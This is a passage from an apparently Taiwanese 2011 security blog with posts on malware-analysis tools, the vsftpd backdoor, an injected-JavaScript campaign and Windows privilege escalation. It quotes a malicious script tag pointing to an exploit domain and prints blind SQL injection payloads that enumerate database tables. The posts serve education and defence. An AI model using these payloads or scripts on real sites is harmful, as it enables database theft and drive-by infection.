2011年9月6日 星期二

Securitybyte CTF walkthrough

FireEye Advanced Threat Report 1H2011

 FireEye 2011 Q1~Q2 惡意程式趨勢分析報告

http://www.fireeye.com/resources/pdfs/FireEye_Advanced_Threat_Report_1H2011.pdf

2011年8月4日 星期四

YARA v1.6!

“YARA is a malware identification and classification tool. It is aimed at helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families based on textual or binary patterns contained on samples of those families. Each description consists of a set of strings and a Boolean expression which determines its logic.
It is multi-platform, running on Windows, Linux and Mac OS X, and can be used through its command-line interface or from your own Python scripts with the yara-python extension.”




This is the official change log:
  • Added support for bitwise operators
  • Added support for multi-line hex strings
  • Scan speed improvement for regular expressions (with PCRE)
  • Yara-python ported to Python 3.x
  • Yara-python support for 64-bits Python under Windows
  • BUGFIX: Buffer overflow in error printing
Download YARA v1.6 (yara-1.6-win32.zip/yara-1.6.tar.gz) here.

2011年8月1日 星期一

WordPress Security Plugin

Secure WordPress beefs up the security of your WordPress installation by removing error information on login pages, adds index.html to plugin directories, hides the WordPress version and much more.
  1. Removes error-information on login-page
  2. Adds index.php plugin-directory (virtual)
  3. Removes the wp-version, except in admin-area
  4. Removes Really Simple Discovery
  5. Removes Windows Live Writer
  6. Removes core update information for non-admins
  7. Removes plugin-update information for non-admins
  8. Removes theme-update information for non-admins (only WP 2.8 and higher)
  9. Hides wp-version in backend-dashboard for non-admins
  10. Removes version on URLs from scripts and stylesheets only on frontend
  11. Blocks any bad queries that could be harmful to your WordPress website


參考:https://wordpress.org/extend/plugins/secure-wordpress/

2011年7月4日 星期一

提醒 vsftpd-2.3.4 內含後門


在版本 vsftpd-2.3.4 同時存有後門,因官方網站先被入侵後,攻擊者在最新版下載點裡面的程式動了手腳,偷塞了後門程式進去!

相關細節
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

Metasploit vsftpd backdoor demo
http://www.youtube.com/watch?v=WgXm0tgRMos&feature=player_embedded#at=39

2011年6月27日 星期一

Attacking Log Analysis tools

Attacking Log Analysis tools
http://www.ossec.net/main/attacking-log-analysis-tools

Log Parser 2.2
http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=24659

Log Parser Lizard GUI
http://www.lizard-labs.net/log_parser_lizard.aspx

Firewall Log Analysis
http://www.firemon.com/loganalysis.aspx?gclid=COf0xN7Y1akCFQfhbgod7Cp_NA

2011年6月23日 星期四

惡意文件分析工具與方法

典型執行檔惡意程式 演進到 社交工程郵件APT 攻擊事件都是透過惡意文件 PDF、Office 等系列檔案來滲透而這些文件裡都夾藏了惡意指令( Payload ) 向外部下載惡意程式到電腦裡執行起來 ( 植入木馬 ),所以同鞋們需提高警覺唷

此篇文章做一個整理

針對惡意文件分析好哪些資源可以運用:

惡意文件分析指引
Analyzing Malicious Documents Cheat Sheet

線上版免費分析工具 :
1. Jsunpack
2. PDF Examiner
3. Wepawet
4. Gallus
5. Multi-Engine Antivirus ScannersVirusTotal, Jotti’s Malware Scan, Filterbit and VirSCAN

非線上版免費分析工具 :
1.PDF Tools 
2.PDF Stream Dumper
3.Jsunpack-n
4.Peepdf
5.Origami
6.MalObjClass
7.pdf-parser_V0_3_7.zip 
8.make-pdf_V0_1_1.zip 
9.pdfid_v0_0_11.zip 
10.PDFTemplate.zip 


惡意文件分析相關 Paper:
obfuscation_detection_pdf_files_peepdf
malicious-pdf-analysis-ebook
Getting Owned By Malicious PDF - Analysis 
Reverse engineering a malicious PDF Part 1
Reverse engineering a malicious PDF Part 2 
Reverse engineering a malicious PDF Part 3 





2011年6月22日 星期三

div_colors 掛馬手法

前一陣子針對 osCommerce 掛馬的手法,寫入以下一段 JavaScript ,在 這裡 有相關討論!


 一般快速判斷是不是被插入一段惡意的 JavaScript 都會看幾個特徵
如: <Iframe>標籤 unescape() 、eval() function、或是 array 裡面帶有很多奇怪的字串、或變數定義太多最後有拼接組合起來!
從這個例子來看可以發現在 array 那邊很奇怪,後面寫了很多 16進位的顏色值,再繼續追下去會看到 有一個 function 叫做 div_pick_colours() 這裡就是關鍵囉,他就是主要var div_colors 這個變數裡面的值組合起來 最終在網頁上呈現的內容
會是以下連結
<script type="text/javascript" src="http://掛馬網域exploit.cz.cc"><script>
Virustotal Result
 
 
 
 
 
 
 
 
 
 
 
 
  滿多網站都被寫入了這個手法的惡意 JavaScript  
 
 
  
 
 
 
 
 
 相關事件參考:
My site is reported as Attack site by Google
Try Pick Colors osCommerce Malware Hack 
Hacked webshop! 
The “div_colors” Malware Update
malicious function div_pick_colors and try_pick_colors
 

透過工具簡單分析惡意程式

今天介紹的工具是: Malware Analyser 3.1 - Download from Here
 這個一個免費的惡意程式分析工具,進行靜態和動態分析,支援 Windows 平台,且非常容易上手。

Malware Analyser 3.1 特色:


1.String based analysis for registry, API calls, IRC Commands, DLL’s called and VMAware.
2.Display detailed headers of PE with all its section details, import and export symbols etc.
3.On distros, can perform an ASCII dump of the PE along with other options (check –help argument).
4.For windows, it can generate various section of a PE : DOS Header, DOS Stub, PE File Header, Image Optional Header, Section Table, Data Directories, Sections
5.ASCII dump on windows machine.
6.Code Analysis (disassembling)
7.Online malware checking (www.virustotal.com)  - 會自動把 md5 丟到 virustotal 比對
8.Check for Packer from the Database.
9.Tracer functionality: Can be used to identify
10.Anti-debugging Calls tricks, File system manipulations Calls Rootkit 11.Hooks, Keyboard Hooks, DEP Setting Change, Network Identification traces.
12.Signature Creation: Allows to create signature of malware.
13.Batch Mode Scan to Scan all DLL and Exe in directories and sub-directories

使用方法:
command:
run 樣本.exe   
run gh0st.exe

run 樣本.exe > malware.txt  ( 把分析過程中的 log 另存起來比較方便解讀 )

Note:工具只是輔助,並不是百分百偵測率,對於特殊樣本,針對病毒碼特徵與動態分析做繞過的動作 ( 免殺FUD ),一般常見分析工具,基本上是檢測不到!

2011年6月17日 星期五

2011.06.18 本周資安新聞要事

 本周資安新聞要事

LulzSec 駭客組織相關新聞:

中文報導:

英文報導:

資安新聞:

花旗也遭駭! 美20萬個資外流

受駭公開慢半拍 花旗辯清白

網路很危險 防駭措施不可少 

國稅局抽獎 民眾個資竟全外洩!

打開線上遊戲mail 個資全都露 

惡意程式假冒忿怒鳥外掛進入Android Market

偽防毒軟體猖獗 Mac小心



資安研討會 ( 國外 ) :

OWASP AppSec USA 2011

44Con

ZaCon

HacKid

ROOTCON 5

RSA® Conference 2012 Call for Speakers is now open

 

 

 

 



IE8/9 瀏覽器高風險漏洞提醒

IE8/9 USE-AFTER-FREE VULNERABILITY

 漏洞編號:

( ZDI-11-194/MS11-050/CVE-2011-1260 )

 

微軟已於Tuesdays 6月14日已更新
小學堂提醒同鞋們記得更新喔!


技術文章:

Insecticides don't kill bugs, Patch Tuesdays do


Blind Sql Injection with Regular Expressions Attack

這是一篇前幾天 SimoneMarco 所發表的一篇 Paper ,內容是針對 Blind Sql Injection 攻擊測試提高效率的方法,而他們所提出的方法就是透過正規表達式  Regular Expressions



簡單說明一下傳統 Sql Injection  和 Blind Sql Injection 的差異
已一個例子為例(dump data) :

傳統 Sql Injection :仰賴網頁回應的錯誤訊息,所有想要知道的欄位內容(帳號密碼、資料庫資訊)都是輸出在網頁上

Blind Sql Injection:可以不需仰賴網頁回應的錯誤訊息,所以即使網站關閉了錯誤訊息,但網頁仍然有 Sql Injection 的問題,這個時候 Blind Sql Injection 這個方法就派上用場了,不需依賴錯誤訊息,只需藉由網頁的回應來判斷 True & Flase 就可以達到目的。

Blind Sql Injection 有幾種類型:
1.Error-based blind SQL Injection
2.Classical blind SQL Injection
3.Time-based ( Chema Alonso & José Parada Defcon 16 所發表

實際上不管是 Sql Injection 還是 Blind Sql Injection 在這些漏洞測試的方法或是進階 Evasion 繞過技巧有太多種了,有興趣的同鞋在 Google 看看,我們先拉回來主題,典型 Blind Sql Injection 所使用語法如下
  

 [...] >1 and 300 >(select top 1 ascii(substring(name,1,1)) from sysusers) → TRUE

  [...] >1 and 0 >(select top 1 ascii(substring(name,1,1)) from sysusers) FALSE

透過正規表達式  Regular Expressions 的方法如下: 

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
True


index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)
False



 文章作者做了幾個實驗相關數據如下:
1.取得一組 MD5 Hash 32 位 ( 內容中包含數字跟小寫英文共 16 個字符1234567890abcdef) 

在最好情況下透過 Regular Expressions 和一般 Blind Sql Injection 要花 32 次查詢才能完成
在最壞的情況下透過 Regular Expressions 需要花 128 次查詢 
一般 Blind Sql Injection 要花 512 查詢才能完成

 

2.取得一組密碼長度為 15 位 ( 內容中包含了英文大小寫、數字及符號共 76 個字符abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=);) 

在最好的情況下透過 Regular Expressions  要花 15 次查詢才能完成
在最壞的情況下透過 Regular Expressions 需要花 94 次查詢 
一般 Blind Sql Injection 要花 1140 查詢才能完成


文章來源:
Blind Sql Injection with Regular Expressions Attack
PHP example code

新聞事件:
Hackers use blind SQL injection attack to crack Oracle-Sun, MySQL.com

2011年6月16日 星期四

Xplico - 網路封包還原工具

Xplico -是一套針對網路取證分析工具 Network Forensic Analysis Tool (NFAT)

特色就是支援許多 protocol  ,也支援許多格式的封包還原 ( email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP ),官方也持續會推出新功能





安裝非常簡單這裡有教學,而且也有 VirtualBox ,Ubuntu 套件,不需自己安裝,只需下載好 package 就可使用


官方網站: Xplico
教學文件: Xplico Wiki.
問題討論: Xplico Forum.


測試方法:
Web Interface: Web user interface.
 測試的 Sample captures 匯入Xplico 即可分析
或是匯入 TCPDump or Wireshark pcap 封包檔案






Xplico System Architecture



Roadmap
Version 0.7.0 (June-August 2011)


    ICQ basic dissector
    JABBER basic dissector
    YAHOO chat basic dissector
    Gadu-Gadu basic dissector
    FaceBook email manipulator
    New WebMail decoders (see pol)

資訊圖片引用於www.xplico.org

相關參考: Wireshark VoIP Calls

Windows Server 2003/2008 零時差 ( 0day ) 攻擊

這幾天看到很多人突然又熱絡起來再討論關於 Windows Server 2003 有漏洞可以使用,而且攻擊程式也有公開出來!

關於這個漏洞的描述:基本上他是本地提權類型的漏洞,並不是遠端可以使用的,但他仍然是高風險的問題喔,因為對於一般小黑來說的話,通常透過一些手法得到網站上的後門控制權限 ( 這個資安術語叫做 Webshell ),下一個動作就是要做提權 (提升權限),顧名思義就是要把一般的 user 權限提升為 Administrator 管理者權限,而一般小黑在做提權的時候,通常會花比較多的時間再分析伺服器內安裝了哪些軟體,或是資料庫有沒有漏了關閉一些有風險的設定值等再尋找對應的攻擊程式,但 Win Server 2003 的攻擊程式出現後,實際上他就幫助了小黑更快速的得到管理者權限!


目前網路上也隨手可得攻擊測試工具


下圖為本機環境下測試成功畫面 ( Win Server 2003 11.06.11 全更新的情況下 )




以下為路人同鞋的對話( 僅供參考,此言論與本站無關 ):
a: 我都已經用了1年多了

b: 2008 也可以
c: 又少一個工具了 XD


小學堂要提醒 IT 同鞋們,家中的 Win Server 2003 / 2008 還沒更新要趕快更新喔!
微軟已於6月13日出了更新了在這裡